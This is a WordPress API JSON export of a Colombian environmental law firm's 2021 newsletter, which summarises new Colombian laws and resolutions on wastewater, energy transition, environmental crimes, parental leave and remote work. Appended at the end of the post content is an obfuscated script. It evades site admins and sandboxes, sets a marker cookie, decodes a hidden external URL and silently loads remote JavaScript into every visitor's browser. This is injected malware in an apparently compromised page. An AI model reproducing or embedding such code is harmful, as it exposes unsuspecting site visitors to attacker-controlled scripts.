{"id":1527,"date":"2021-07-05T20:52:00","date_gmt":"2021-07-05T20:52:00","guid":{"rendered":"https:\/\/alvarezabogadosambiental.com\/?p=1527"},"modified":"2026-02-11T18:46:04","modified_gmt":"2026-02-11T18:46:04","slug":"boletin-informativo-no-3-de-2021","status":"publish","type":"post","link":"https:\/\/alvarezabogadosambiental.com\/en\/2021\/07\/05\/boletin-informativo-no-3-de-2021\/","title":{"rendered":"BOLET\u00cdN INFORMATIVO No. 3 de 2021"},"content":{"rendered":"\n<h2 class=\"wp-block-heading has-palette-color-2-color has-text-color has-link-color wp-elements-5b390f3ed56b189e4cbe72a3fae14769\">BOLET\u00cdN INFORMATIVO No. 3 de 2021<\/h2>\n\n\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Pautas y valores li\u0301mites ma\u0301ximos permisibles en los vertimientos puntuales de Aguas Residuales Dome\u0301sticas Tratadas (ARD-T) al suelo<br \/>Resolucio\u0301n No. 699 de 06-07-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible<\/h2>\n<p>Establece los para\u0301metros y los valores li\u0301mites ma\u0301ximos permisibles que debera\u0301n cumplir quienes realicen vertimientos puntuales de Aguas Residuales Dome\u0301sticas Tratadas (ARD-T) al suelo, y los para\u0301metros objeto de ana\u0301lisis y reporte por parte de las actividades industriales, comerciales o servicios.<\/p>\n<p>Para la aplicacio\u0301n de la norma se adoptan las siguientes definiciones y obligaciones:<\/p>\n<div class=\"page\" title=\"Page 1\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Tipo de usuario<\/p>\n<\/div>\n<div class=\"column\">\n<p>Definicio\u0301n<\/p>\n<\/div>\n<div class=\"column\">\n<p>Obligaciones<\/p>\n<\/div>\n<\/div>\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"5\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Usuarios de vivienda rural dispersa<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td colspan=\"1\" rowspan=\"5\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Persona natural o juri\u0301dica que hace uso de infraestructura denominada vivienda rural dispersa, considerada como la unidad habitacional localizada en el suelo rural de manera aislada que se encuentra asociada a las formas de vida del campo y no hace parte de centros poblados rurales, ni de parcelaciones destinadas a vivienda campestre<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Teniendo en cuenta que estos usuarios no requieren permiso de vertimiento al suelo, si las soluciones individuales de saneamiento ba\u0301sico para el tratamiento de esas ARD se disen\u0303an bajo los para\u0301metros del RAS, corresponde a las autoridades ambientales competentes, en el ejercicio<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>de sus funciones de evaluacio\u0301n, control y seguimiento ambiental realizar la<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>caracterizacio\u0301n de los vertimientos de ARD-T al suelo, para verificar el<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>cumplimiento de los para\u0301metros y sus valores li\u0301mites ma\u0301ximos permisibles establecidos en la Tabla 1 del Arti\u0301culo 4o<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<\/tr>\n<tr>\n<td colspan=\"1\" rowspan=\"3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Usuarios equiparables a Usuarios de vivienda rural dispersa<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td colspan=\"1\" rowspan=\"3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Persona natural o juri\u0301dica que hace uso de infraestructura asociada a una actividad productiva o de uso de vivienda campestre, cuya generacio\u0301n de aguas residuales dome\u0301sticas son semejantes en cantidad y calidad (expresado en carga de DBO5), a las producidas por los Usuarios de vivienda rural dispersa, con valores menores o iguales a 1,0 Kg DBO5\/d<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Debera\u0301n cumplir con los para\u0301metros<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>establecidos en la Tabla 1 del Arti\u0301culo 4o. La caracterizacio\u0301n debera\u0301 realizarse y presentarse ante la autoridad ambiental competente, con una frecuencia de monitoreo bienal<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div class=\"page\" title=\"Page 2\">\n<table>\n<tbody>\n<tr>\n<td colspan=\"1\" rowspan=\"3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Usuarios diferentes a Usuarios equiparables y a Usuarios de vivienda rural dispersa<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td colspan=\"1\" rowspan=\"3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Persona natural o juri\u0301dica que hace uso de infraestructura locativa de retretes y servicios sanitarios, sistemas de aseo personal (duchas y lavamanos), cocinas y cocinetas, pocetas de lavado de elementos de aseo, realiza lavado de paredes y pisos de esta infraestructura locativa, y lavado de ropa, cuya generacio\u0301n de aguas residuales dome\u0301sticas son diferentes en cantidad y calidad a las producidas por los Usuarios de vivienda rural dispersa y de los equiparables a vivienda rural dispersa. El sistema de recoleccio\u0301n y transporte de estas aguas debe ser independiente y separado de las ARnD y del sistema de aguas lluvias<\/p>\n<\/div>\n<\/div>\n<\/td>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Debera\u0301n cumplir con los para\u0301metros<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>establecidos en la Tabla 2 del Arti\u0301culo 4o. La caracterizacio\u0301n debera\u0301 realizarse y presentarse ante la autoridad ambiental competente, con una frecuencia de monitoreo anual<\/p>\n<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<tr>\n<td>\u00a0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div class=\"page\" title=\"Page 2\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Los usuarios podra\u0301n solicitar la exclusio\u0301n de para\u0301metros, soportado en caracterizaciones y su ana\u0301lisis estadi\u0301stico. Las autoridades ambientales competentes, por su parte, debera\u0301n reportar la informacio\u0301n que obtengan y la que entreguen los usuarios obligados, en el Registro de Usuarios del Recurso Hi\u0301drico (RURH), incorpora\u0301ndola al Sistema de Informacio\u0301n del Recurso Hi\u0301drico (SIRH).<\/p>\n<p>La norma entra en vigor el 1o de julio de 2022 y se le aplica el re\u0301gimen de transicio\u0301n establecido en el arti\u0301culo 2.2.3.3.11.1 del Decreto 1076 de 2015.<\/p>\n<h2>Ley de transicio\u0301n energe\u0301tica<br \/>Ley 2099 de 10-07-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Con el fin de contribuir en los objetivos del Acuerdo de Pari\u0301s relativo al Cambio Clima\u0301tico, los cuales se resumen en: (i) Mantener el aumento de la temperatura media mundial muy por debajo de 2 \u00b0C; (ii) limitar ese aumento a 1,5 \u00b0C, reduciendo los riesgos y el impacto del cambio clima\u0301tico; (iii) lograr en 2050 una economi\u0301a de \u201ccarbono neutro\u201d, la ley fomenta la transicio\u0301n energe\u0301tica del pai\u0301s, promoviendo la descarbonizacio\u0301n y una senda de desarrollo resiliente al clima y baja en carbono.<\/p>\n<p>Dentro de los aspectos ma\u0301s relevantes de la ley, que modifica la Ley 1715 de 2014, relativa a las Fuentes No Convencionales de Energi\u0301a, principalmente aquellas de cara\u0301cter renovable, se tienen los siguientes:<\/p>\n<div class=\"page\" title=\"Page 3\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<ol>\n<li>Se pretende dinamizar y diversificar el mercado energe\u0301tico a trave\u0301s de la utilizacio\u0301n, desarrollo y promocio\u0301n de fuentes no convencionales de energi\u0301a (FNCE), renovables y no renovables, fortaleciendo los servicios pu\u0301blicos de energi\u0301a ele\u0301ctrica y gas combustible.<\/li>\n<li>Se incluye el almacenamiento, administracio\u0301n, operacio\u0301n y mantenimiento de las FNCER (fuentes no convencionales de energi\u0301a renovables), asi\u0301 como el uso eficiente de la energi\u0301a, en la declaratoria de utilidad pu\u0301blica e intere\u0301s general.<\/li>\n<li>Se regula el Hidro\u0301geno Verde, como Fuente No Convencional de Energi\u0301a Renovable (FNCER), producido a partir de la biomasa, los pequen\u0303os aprovechamientos hidroele\u0301ctricos, la eo\u0301lica, el calor geote\u0301rmico, la solar y la mareomotriz, entre otros.<\/li>\n<li>Se regula el Hidro\u0301geno Azul, como Fuente No Convencional de Energi\u0301a (FNCE), producido a partir de combustibles fo\u0301siles, especialmente por la descomposicio\u0301n del metano (CH4) y que cuenta con un sistema de captura, uso y almacenamiento de carbono (CCUS), como parte de su proceso de produccio\u0301n.<\/li>\n<li>Para los autogeneradores de propiedad de productores de Petro\u0301leo y\/o Gas Natural, estos podra\u0301n vender en el mercado mayorista, a trave\u0301s de empresas facultadas para ello, sus excedentes de energi\u0301a que se generen en plantas de generacio\u0301n ele\u0301ctrica que utilicen gas combustible.<\/li>\n<li>Se ordena al Ministerio de Minas y Energi\u0301a fijar los requisitos te\u0301cnicos de los proyectos de exploracio\u0301n y explotacio\u0301n del recurso geote\u0301rmico, y, al Ministerio de Ambiente y Desarrollo Sostenible, determinar los para\u0301metros ambientales y los te\u0301rminos de referencia que debera\u0301n cumplir los proyectos desarrollados con energi\u0301a geote\u0301rmica.<\/li>\n<li>Se fortalece el Fondo de Energi\u0301as no Convencionales y Gestio\u0301n Eficiente de la Energi\u0301a (FENOGE).<\/li>\n<li>Se modifican los Incentivos Tributarios en la materia (Descuento de Renta \u2013 Exclusio\u0301n de IVA \u2013 Incentivos Arancelarios \u2013 Depreciacio\u0301n Acelerada de Activos), cuyo tra\u0301mite de acreditacio\u0301n corresponde a la Unidad de Planeacio\u0301n Minero-Energe\u0301tica \u2013 UPME, del Departamento Nacional de Planeacio\u0301n \u2013 DNP-.<\/li>\n<\/ol>\n<\/div>\n<div class=\"page\" title=\"Page 4\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Exploracio\u0301n y utilizacio\u0301n del espacio ultraterrestre, la luna y otros cuerpos celestes<br \/>Ley 2107 de 22-07-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Se aprueba el \u201cTratado sobre los principios que deben regir las actividades de los estados en la exploracio\u0301n y utilizacio\u0301n del espacio ultraterrestre, incluso la luna y otros cuerpos celestes\u201d, suscrito el 27 de enero de 1967 en Washington, Londres y Moscu\u0301.<\/p>\n<p>Suscrito hace ma\u0301s de 50 an\u0303os, el legislativo aprobo\u0301 este Tratado, que tiene como propo\u0301sito la exploracio\u0301n y utilizacio\u0301n del espacio ultraterrestre, incluso la luna y otros cuerpos celestes, asunto que de acuerdo con el Tratado es de provecho e intere\u0301s de los pai\u0301ses, abierto a todos los Estados sin discriminacio\u0301n alguna en condiciones de igualdad y en conformidad con el derecho internacional, con libertad de acceso a todas las regiones de los cuerpos celestes. El espacio ultraterrestre, incluso la Luna y otros cuerpos celestes, esta\u0301n abiertos a la investigacio\u0301n cienti\u0301fica y los Estados facilitara\u0301n y fomentara\u0301n la cooperacio\u0301n internacional.<\/p>\n<p>Delitos contra los recursos naturales y el medio ambiente Ley 2111 de 29-07-2021 \u2013 Congreso de la Repu\u0301blica<\/p>\n<p>Sustituye en su totalidad el Ti\u0301tulo XI del Co\u0301digo Penal (Ley 599 de 2000), modificado a su vez por la Ley de Seguridad Ciudadana (Ley 1453 de 2011), relativo a los delitos contra los recursos naturales y el medio ambiente, norma en virtud de la cual, en general, se crean nuevos delitos y se aumentan ostensiblemente las penas, listados asi\u0301:<\/p>\n<p>Delitos contra los recursos naturales<\/p>\n<ul>\n<li>&#8211; \u00a0Arti\u0301culo 328: Aprovechamiento ili\u0301cito de los recursos naturales renovables.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 328A: Tra\u0301fico de fauna.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 328B: Caza ilegal.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 328C: Pesca ilegal.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 329: Manejo ili\u0301cito de especies exo\u0301ticas.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 330: Deforestacio\u0301n.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 330A: Promocio\u0301n y financiacio\u0301n de la Deforestacio\u0301n.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 331: Manejo y uso ili\u0301cito de organismos gene\u0301ticamente modificados,microorganismos y sustancias o elementos peligrosos.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 332: Explotacio\u0301n ili\u0301cita de yacimiento minero y otros materiales.<\/li>\n<\/ul>\n<\/div>\n<div class=\"page\" title=\"Page 5\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p><strong>Dan\u0303os en los recursos naturales:<\/strong><br \/>&#8211; Arti\u0301culo 333: Dan\u0303os en los recursos naturales y ecocidio. Contaminacio\u0301n Ambiental:<\/p>\n<ul>\n<li>&#8211; \u00a0Arti\u0301culo 334: Contaminacio\u0301n ambiental.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 334A: Contaminacio\u0301n ambiental por explotacio\u0301n de yacimiento minero o hidrocarburo.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 335: Experimentacio\u0301n ilegal con especies, agentes biolo\u0301gicos o bioqui\u0301micos.<strong>Invasio\u0301n de a\u0301reas de especial importancia ecolo\u0301gica<\/strong><\/li>\n<\/ul>\n<ul>\n<li>&#8211; \u00a0Arti\u0301culo 336: Invasio\u0301n de a\u0301reas de especial importancia ecolo\u0301gica.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 336A: Financiacio\u0301n de invasio\u0301n a a\u0301reas de especial importancia ecolo\u0301gica.<strong>Apropiacio\u0301n ilegal de baldi\u0301os de la Nacio\u0301n<\/strong><\/li>\n<\/ul>\n<ul>\n<li>&#8211; \u00a0Arti\u0301culo 337: Apropiacio\u0301n ilegal de baldi\u0301os de la nacio\u0301n.<\/li>\n<li>&#8211; \u00a0Arti\u0301culo 337A: Financiacio\u0301n de la apropiacio\u0301n ilegal de los baldi\u0301os de la nacio\u0301n.De especial relevancia para las organizaciones o empresas, los delitos de contaminacio\u0301n ambiental (334), de dan\u0303o en los recursos naturales y ecocidio (333) y de aprovechamiento ili\u0301cito de los recursos naturales renovables (328). La ley establece, adema\u0301s, las diferentes circunstancias de agravacio\u0301n punitiva, asi\u0301 como la modalidad culposa de la conducta punible, la cual disminuye las penas.\n<p>Con el objeto de fortalecer la lucha contra los cri\u0301menes ambientales se crearon adema\u0301s la Direccio\u0301n Especializada para los Delitos contra el Ambiente y los Recursos Naturales y la Direccio\u0301n de Apoyo Territorial, nuevas direcciones que pertenecen a la Fiscali\u0301a General de la Nacio\u0301n.<\/p>\n<p>Finalmente, se consagra una Poli\u0301tica de Prevencio\u0301n del Dan\u0303o Antijuri\u0301dico y de Promocio\u0301n de la Defensa Litigiosa de la Nacio\u0301n, en materia de proteccio\u0301n ambiental y ecolo\u0301gica, a cargo de la Agencia Nacional de Defensa Juri\u0301dica del Estado.<\/p>\n<\/li>\n<\/ul>\n<\/div>\n<div class=\"page\" title=\"Page 6\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Se ampli\u0301a la Licencia Parental<br \/>Ley 2114 de 29-07-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>La ley tiene por objeto ampliar la licencia de paternidad, crear la licencia parental compartida, la licencia parental flexible de tiempo parcial, modificando con ello el arti\u0301culo 236 y adicionando el arti\u0301culo 241A del Co\u0301digo Sustantivo del Trabajo, entre otras disposiciones.<\/p>\n<p>El padre tendra\u0301 derecho a dos (2) semanas de licencia remunerada de paternidad. La licencia remunerada de paternidad opera por los hijos nacidos del co\u0301nyuge o de la compan\u0303era permanente, asi\u0301 como para el padre adoptante. Se establecen tambie\u0301n nuevas disposiciones para el disfrute de la licencia de maternidad de 18 semanas, antes y despue\u0301s del parto.<\/p>\n<p>Se consagra igualmente la licencia parental compartida, en virtud de la cual los padres podra\u0301n distribuir libremente entre si\u0301 las u\u0301ltimas seis (6) semanas de la licencia de la madre, siempre y cuando cumplan las condiciones y requisitos dispuestos en la norma. Esta licencia, en el caso de la madre, es independiente del permiso de lactancia. La licencia sera\u0301 remunerada con base en el salario de quien disfrute de la licencia por el peri\u0301odo correspondiente. El pago estara\u0301 a cargo del respectivo empleador o EPS, acorde con la normatividad vigente.<\/p>\n<p>La norma crea adema\u0301s la licencia parental flexible de tiempo parcial, por la cual la madre y\/o padre podra\u0301n optar por una licencia parental flexible de tiempo parcial, en la cual, podra\u0301n cambiar un periodo determinado de su licencia de maternidad o de paternidad por un peri\u0301odo de trabajo de medio tiempo, equivalente al doble del tiempo correspondiente al peri\u0301odo de tiempo seleccionado, adema\u0301s de consagrar medidas antidiscriminatorias en la materia, entre otras, prohibiendo la exigencia de la pra\u0301ctica de pruebas de embarazo como requisito obligatorio para el acceso o permanencia en cualquier actividad laboral..<\/p>\n<h2>Se crea la modalidad laboral del trabajo remoto Ley 2121 del 03-08-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Tiene por objeto crear una nueva forma de ejecucio\u0301n del contrato de trabajo, denominada trabajo remoto, la cual sera\u0301 pactada de manera voluntaria por las partes y podra\u0301 ser desarrollada a trave\u0301s de las tecnologi\u0301as existentes y nuevas, u otros medios y mecanismos que permitan ejercer la labor contratada de manera remota. Esta forma de ejecucio\u0301n no comparte los elementos constitutivos y regulados para el teletrabajo y\/o trabajo en casa y las normas que lo modifiquen.<\/p>\n<p>Esta nueva forma de ejecucio\u0301n del contrato de trabajo se efectuara\u0301 de manera remota en su totalidad e implica una vinculacio\u0301n laboral con el reconocimiento de los derechos y garanti\u0301as<\/p>\n<div class=\"page\" title=\"Page 7\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>derivadas de un contrato de trabajo y con el respeto de todas las garanti\u0301as laborales y de seguridad social.<\/p>\n<p>La norma preve\u0301 los principios generales del trabajo remoto, el establecimiento de una poli\u0301tica pu\u0301blica al respecto, la forma como se perfecciona el contrato, regulaciones acerca de las condiciones, herramientas y equipos de trabajo, la jornada laboral y horarios y, por supuesto, las garanti\u0301as asociadas a la seguridad y salud en el trabajo del trabajador remoto, entre otros aspectos.<\/p>\n<h2>Se promueve el abastecimiento, continuidad, confiabilidad y cobertura del gas combustible<br \/>Ley 2128 del 04-08-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Reconociendo el uso del gas natural como eje de la transicio\u0301n energe\u0301tica, la ley incentiva el abastecimiento de gas combustible en el pai\u0301s para ampliar su utilizacio\u0301n, con el fin de generar impactos positivos en el medio ambiente, en la calidad de vida y la salud de la poblacio\u0301n, adema\u0301s el acceso al servicio pu\u0301blico.<\/p>\n<p>Se pretende garantizar el abastecimiento y la confiabilidad en el suministro de gas combustible en el mercado, buscando incrementar la oferta y estableciendo mecanismos que promuevan la produccio\u0301n nacional, con criterios de eficiencia, seguridad energe\u0301tica y responsabilidad ambiental. Se tendra\u0301 en cuenta la implementacio\u0301n de nuevas tecnologi\u0301as e infraestructura disponibles que garanticen la proteccio\u0301n del medio ambiente.<\/p>\n<p>Para el desarrollo del gas combustible se establecen medidas de innovacio\u0301n e implementacio\u0301n en nuevos usos, programas de sustitucio\u0301n, disposiciones para la generacio\u0301n de energi\u0301a ele\u0301ctrica con gas combustible y la sustitucio\u0301n de die\u0301sel, y, un esquema de beneficios a partir de subsidios, exenciones e incentivos.<\/p>\n<h2>Sustitucio\u0301n de vehi\u0301culos de traccio\u0301n animal Ley 2138 del 04-08-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Se ordena desarrollar una normativa para la sustitucio\u0301n de vehi\u0301culos de traccio\u0301n animal en el territorio nacional y la consagracio\u0301n de medidas que propenden por el bienestar de los animales, legislacio\u0301n que avanza hacia el reconocimiento de los derechos de la naturaleza.<\/p>\n<div class=\"page\" title=\"Page 8\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<p>Se hara\u0301 una sustitucio\u0301n paulatina, a fin de ofrecer las garanti\u0301as necesarias para que las personas que derivan el sustento de este tipo de vehi\u0301culos puedan acceder a programas de reconversio\u0301n sociolaboral.<\/p>\n<h2>Nuevo sistema de informacio\u0301n, registro y monitoreo para prevenir el tra\u0301fico ilegal de fauna y flora silvestre<br \/>Ley 2153 del 25-08-2021 \u2013 Congreso de la Repu\u0301blica<\/h2>\n<p>Ordena la creacio\u0301n de un sistema de informacio\u0301n, registro y monitoreo que permita evitar la caza furtiva y el comercio ilegal, con el fin de preservar la fauna y flora silvestre en el territorio nacional, en especial, aquella que se encuentren en peligro de extincio\u0301n o pueda llegar a estarlo.<\/p>\n<p>La ley pregona un mayor control del tra\u0301fico en las vi\u0301as nacionales, centros comerciales, plazas de mercado, terminales de transporte, aeropuertos, puertos mari\u0301timos y fluviales, bodegas, correos y encomiendas de transporte pu\u0301blico, como tambie\u0301n en espacios estrate\u0301gicos de corregimientos, municipios, departamentos y regiones de frontera en el territorio nacional.<\/p>\n<p>El sistema de informacio\u0301n, registro y monitoreo debera\u0301 formularse a partir de lineamientos tales como: el uso de nuevas tecnologi\u0301as; sistemas de georreferenciacio\u0301n para ubicar las rutas de comercio ilegal y sus puntos cri\u0301ticos; sistemas de monitoreo y vigilancia en los parques nacionales naturales de Colombia; cooperacio\u0301n con organismos internacionales; campan\u0303as de sensibilizacio\u0301n contra el tra\u0301fico ilegal de fauna y flora silvestre; y, la implementacio\u0301n de un sistema de inventario de fauna y flora silvestre, entre otros.<\/p>\n<p>La implementacio\u0301n de este sistema se debera\u0301 efectuar en un plazo de dieciocho (18) meses, y esta\u0301 a cargo del Ministerio de Medio Ambiente y Desarrollo Sostenible en coordinacio\u0301n con las dema\u0301s autoridades ambientales y los institutos de investigacio\u0301n del sector, con la asesori\u0301a del Ministerio de Tecnologi\u0301as de la Informacio\u0301n y de las Comunicaciones, para la creacio\u0301n del sistema de registro y monitoreo de informacio\u0301n, dando cumplimiento a la poli\u0301tica de Gobierno Digital.<\/p>\n<div class=\"page\" title=\"Page 9\">\n<div class=\"layoutArea\">\n<div class=\"column\">\n<h2>Modificado el Reglamento Te\u0301cnico de Instalaciones y Montajes Ele\u0301ctricos &#8211; RETIE<br \/>Resolucio\u0301n No. 40293 de 07-09-2021 &#8211; Ministerio de Minas y Energi\u0301a<\/h2>\n<p>Se modifican y derogan algunas disposiciones y requisitos del Anexo General del Reglamento Te\u0301cnico de Instalaciones Ele\u0301ctricas &#8211; RETIE, adoptado mediante Resolucio\u0301n No. 90708 y se deroga el arti\u0301culo 1o de la Resolucio\u0301n 40259 de 2017.<\/p>\n<p>La norma establece reglas acerca del esquema de certificacio\u0301n exclusivamente de personas naturales por competencias para inspectores de instalaciones ele\u0301ctricas, las a\u0301reas y categori\u0301as de certificacio\u0301n, las competencias requeridas, las reglas ba\u0301sicas para la revisio\u0301n de las instalaciones, la descripcio\u0301n del trabajo y las tareas de inspeccio\u0301n, los organismos de certificacio\u0301n de personas naturales y el co\u0301digo de conducta, entre otros.<\/p>\n<p>Finalmente, los certificados con vigencia ampliada mediante el arti\u0301culo 1o de la Resolucio\u0301n No. 41291 del 2018, contara\u0301n con tres meses adicionales de vigencia a partir del di\u0301a siguiente en que se cuente en el territorio nacional con por lo menos dos organismos acreditados por el ONAC para certificacio\u0301n de competencias de inspectores de instalaciones ele\u0301ctricas. En el caso que despue\u0301s de seis meses de la entrada en vigor de la resolucio\u0301n solo se haya acreditado un organismo de certificacio\u0301n de competencias de inspectores, se debera\u0301 adelantar la certificacio\u0301n con dicho organismo.<\/p>\n<h2>Boleti\u0301n Informativo No. 3 de 2021 (julio a septiembre de 2021) Alvarez Abogados Ambientales S.A.S.<\/h2>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>BOLET\u00cdN INFORMATIVO No. 3 de 2021 Pautas y valores li\u0301mites ma\u0301ximos permisibles en los vertimientos puntuales de Aguas Residuales Dome\u0301sticas Tratadas (ARD-T) al sueloResolucio\u0301n No. 699 de 06-07-2021 &#8211; Ministerio de Ambiente y Desarrollo Sostenible Establece los para\u0301metros y los valores li\u0301mites ma\u0301ximos permisibles que debera\u0301n cumplir quienes realicen vertimientos puntuales de Aguas Residuales Dome\u0301sticas [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55],"tags":[],"class_list":["post-1527","post","type-post","status-publish","format-standard","hentry","category-ambiental"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/1527","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/comments?post=1527"}],"version-history":[{"count":4,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/1527\/revisions"}],"predecessor-version":[{"id":2762,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/posts\/1527\/revisions\/2762"}],"wp:attachment":[{"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/media?parent=1527"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/categories?post=1527"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/alvarezabogadosambiental.com\/en\/wp-json\/wp\/v2\/tags?post=1527"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}